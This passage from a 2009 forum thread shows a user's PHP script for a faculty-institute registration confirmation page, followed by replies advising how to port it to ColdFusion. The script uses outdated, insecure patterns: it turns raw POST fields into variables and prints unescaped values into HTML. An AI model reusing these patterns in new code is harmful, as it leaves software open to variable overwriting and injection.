or die ('Could not select database because: ' . mysql_error());
$db = mysql_select_db($database, $connection)
or die ('Could not select database because: ' . mysql_error());

//Get the data from the form
foreach (@$_POST as $key => $value) {
$$key = mysql_real_escape_string($value);
}


//Get full registration record
$RegData = "SELECT * FROM registrations WHERE email = '$email'";
$RegResult = mysql_query($RegData) or die("<br><br> Data did get to the DB because " . mysql_error());

while ($string = mysql_fetch_row($RegResult)) {
$id = $string[0];
$FirstName = $string[1];
$LastName = $string[2];
$College = $string[3];
$Cnum = $string[4];
$discipline = $string[5];
$Phone = $string[6];
$Fax = $string[7];
//$email = $string[8];
$category = $string[9];
$Area = $string[10];
$monday = $string[11];
$tuesday1 = $string[12];
$tuesday2 = $string[13];
$tuesday3 = $string[14];
$tuesday4 = $string[15];
$tuesday5 = $string[16];
$wednesday = $string[17];
$dinnerSun = $string[18];
$breakfastMon = $string[19];
$lunchMon = $string[20];
$dinnerMon = $string[21];
$breakfastTue = $string[22];
$lunchTue = $string[23];
$dinnerTue = $string[24];
$breakfastWed = $string[25];
$lunchWed = $string[26];
$createDate = $string[27];
}

if ($dinnerSun == "1") {
$dinnerSun = "Yes";
}
else {
$dinnerSun = "No";
}

if ($breakfastMon == "1") {
$breakfastMon = "Yes";
}
else {
$breakfastMon = "No";
}

if ($lunchMon == "1") {
$lunchMon = "Yes";
}
else {
$lunchMon = "No";
}

if ($dinnerMon == "1") {
$dinnerMon = "Yes";
}
else {
$dinnerMon = "No";
}

if ($breakfastTue == "1") {
$breakfastTue = "Yes";
}
else {
$breakfastTue = "No";
}
if ($lunchTue == "1") {
$lunchTue = "Yes";
}
else {
$lunchTue = "No";
}
if ($dinnerTue == "1") {
$dinnerTue = "Yes";
}
else {
$dinnerTue = "No";
}
if ($breakfastWed == "1") {
$breakfastWed = "Yes";
}
else {
$breakfastWed = "No";
}
if ($lunchWed == "1") {
$lunchWed = "Yes";
}
else {
$lunchWed = "No";
}

if ($tuesday1 == "") {
$tueRow1 = "";
}
else {
$tueMail1 = "Tuesday, 8 - 9:45 AM: $tuesday1\n\n";
$tueRow1 = "<tr>
<td>Tuesday, 8 - 9:45 AM:</td>
<td>$tuesday1</td>
</tr>";
}

if ($tuesday2 == "") {
$tueRow2 ="";
}
else {
$tueMail2 = "Tuesday, 10 - 11:45 AM: $tuesday2\n\n";
$tueRow2 = "<tr>
<td>Tuesday, 10 - 11:45 AM:</td>
<td>$tuesday2</td>
</tr>";
}


if ($tuesday3 == "") {
$tueRow3 = "";
}
else {
$tueMail3 = "Tuesday, 1:15 - 3:00 PM: $tuesday3\n\n";
$tueRow3 = "<tr>
<td>Tuesday, 1:15 - 3:00 PM:</td>
<td>$tuesday3</td>
</tr>";
}

if ($tuesday4 == "") {
$tueRow4 = "";
}
else {
$tueMail4 = "Tuesday, 3:15 - 5 PM: $tuesday4\n\n";
$tueRow4 = "<tr>
<td>Tuesday, 3:15 - 5 PM:</td>
<td>$tuesday4</td>
</tr>";
}

if ($tuesday5 == "") {
$tueRow5 = "";
}
else {
$tueMail5 = "Tuesday, 7:30 - 9:30 PM: $tuesday5\n\n";
$tueRow5 = "<tr>
<td>Tuesday, 7:30 - 9:30 PM:</td>
<td>$tuesday5</td>
</tr>";
}

if ($wednesday == "") {
$wedRow = "";
}
else {
$wedMail = "Wednesday, 8:15 - 10:15 AM: $wednesday\n\n";
$wedRow = "<tr>
<td>Wednesday, 8:15 - 10:15 AM:</td>
<td>$wednesday</td>
</tr>";
}




$subject = "NextStep Faculty Institute Registration";
$to = $email;
$from = "CGosselin@stcc.edu";


//Format the message
$message = "$FirstName $LastName, you are registered for the NextStep Faculty Institute June 8 - 10, 2009.\n\n";
$message .= "Institution: $College\n\n";
$message .= "Discipline: $discipline\n\n";
$message .= "Category: $category\n\n";
$message .= "Phone: $Phone\n\n";
$message .= "Fax: $Fax\n\n";
$message .= "$tueMail1";
$message .= "$tueMail2";
$message .= "$tueMail3";
$message .= "$tueMail4";
$message .= "$tueMail5";
$message .= "$wedMail";
$message .= "Meal Choices:\n\n";
$message .= "Dinner, Sunday: $dinnerSun\n\n";
$message .= "Breakfast, Monday: $breakfastMon\n\n";
$message .= "Lunch, Monday: $lunchMon\n\n";
$message .= "Dinner, Monday: $dinnerMon\n\n";
$message .= "Breakfast, Tuesday: $breakfastTue\n\n";
$message .= "Lunch, Tuesday: $lunchTue\n\n";
$message .= "Dinner, Tuesday: $dinnerTue\n\n";
$message .= "Breakfast, Wednesday: $breakfastWed\n\n";
$message .= "Lunch, Wednesday: $lunchWed\n\n";
$message .= "To register for your hotel room, copy the following into your web browser:\n http://www.starwoodmeeting.com/StarGroupsW...ey=C3C8D";



// In case any of our lines are larger than 70 characters, we should use wordwrap()
$message = wordwrap($message, 70);

$headers = "From: $from" . "\r\n" . "X-Mailer: PHP/" . phpversion();

mail($to, $subject, $message, $headers);

//Format the display
$Results = "<p><strong>You have entered the following information:</strong></p>
<table cellpadding='5' border='0'>
<tr>
<td>Name:</td>
<td>$FirstName $LastName</td>
</tr>
<tr>
<td>College:</td>
<td>$College</td>
</tr>
<tr>
<td>Discipline:</td>
<td>$discipline</td>
</tr>
<tr>
<td>Phone:</td>
<td>$Phone</td>
</tr>
<tr>
<td>Fax:</td>
<td>$Fax</td>
</tr>
<tr>
<td>Email:</td>
<td>$email</td>
</tr>
<tr>
<td>Category:</td>
<td>$category</td>
</tr>

<tr><td colspan='2'><strong>You have chosen to attend the following workshops:</strong></td></tr>
$tueRow1
$tueRow2
$tueRow3
$tueRow4
$tueRow5
$wedRow
<tr>
<td colspan='2'>
<strong>You have selected meals for the following times:</strong>
<table cellpadding='5' border='1'>
<tr align='center'>
<td></td>
<td>Breakfast</td>
<td>Lunch</td>
<td>Dinner</td>
</tr>
<tr align='center'>
<td>Sunday, June 7, 2009</td>
<td>N/A</td>
<td>N/A</td>
<td>$dinnerSun</td>
</tr>
<tr align='center'>
<td>Monday, June 8, 2009</td>
<td>$breakfastMon</td>
<td>$lunchMon</td>
<td>$dinnerMon</td>
</tr>
<tr align='center'>
<td>Tuesday, June 9, 2009</td>
<td>$breakfastTue</td>
<td>$lunchTue</td>
<td>$dinnerTue</td>
</tr>
<tr align='center'>
<td>Wednesday, June 10, 2009</td>
<td>$breakfastWed</td>
<td>$lunchWed</td>
<td>N/A</td>
</tr>
</table>
</td>
</tr>
</table>";


// Start of HTML formatting for browser display
include("includes/header.inc");
?>

<p>Thank-you for registering. Your details have been sent to: <?php echo $email; ?></p>

Contact Info.....<p><a href="http://www.starwoodmeeting.com/StarGroupsWeb/booking/reservation?id=0903171920&key=C3C8D" target="_blank">Sheraton Hotel Registration</a></p>

<?php echo $Results; ?>

<p>After May 15, 2009, reservations at the Sheraton will be available on a first-come first-serve basis.<br />


<p><a href="http://www.nspinfo.com">Verizon NextStep Home</a></p>

</body>
</html>

Is This A Good Question/Topic? 0
  • +

Replies To: Convert PHP to ColdFusion

#2 sansclue  Icon User is offline

  • D.I.C Regular

Reputation: 29
  • View blog
  • Posts: 316
  • Joined: 21-November 07

Re: Convert PHP to ColdFusion

Posted 01 April 2009 - 10:01 AM

View Posttjkay, on 1 Apr, 2009 - 08:49 AM, said:

The application is pretty basic so I am hoping someone can help me convert the PHP to CF. My code is as follows (there are three PHP files):


I am assuming you know ColdFusion already. So the best thing to do is start with one piece at a time. HTML/forms are the same everywhere. So start with the php
manual and look up php functions you are not familiar with. Then convert each piece to the CF equivalent.

http://us.php.net/manual/en/index.php


include ("includes/dogs.inc");

//Open the connection to database - should remain open in order to execute all queries without re-initializing the connection
$connection = mysql_connect($host, $user, $password)



I do not know php, but it looks very straight forward. For example, an "include" is probably similar to a <cfinclude>. A $connection is obviously a database
connection, so you would substitute that with a <cfquery> ... and so on. Just starting working with one of the pages, and post back if you run into problems.

HTH

This post has been edited by sansclue: 01 April 2009 - 10:03 AM

Was This Post Helpful? 0
  • +
  • -

#3 lostride  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 2
  • Joined: 12-April 09

Re: Convert PHP to ColdFusion

Posted 12 April 2009 - 07:56 PM

I would recommend using Fusebox with an MVC structure. This is because FB will force you to be organized with your code. Begin by printing out all the pages in the web site. these are your dsp_ pages and will be located in the /view folder. take a red pen and circle all the exit points on the pages i.e all links, buttons etc, these will be your XFA's (exit fuse actions). Then write down all the queries that are consumed by your application, these will be put in your model folder. Getting organized will help you migrate the application from php to coldfusion easily.
Good luck!
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1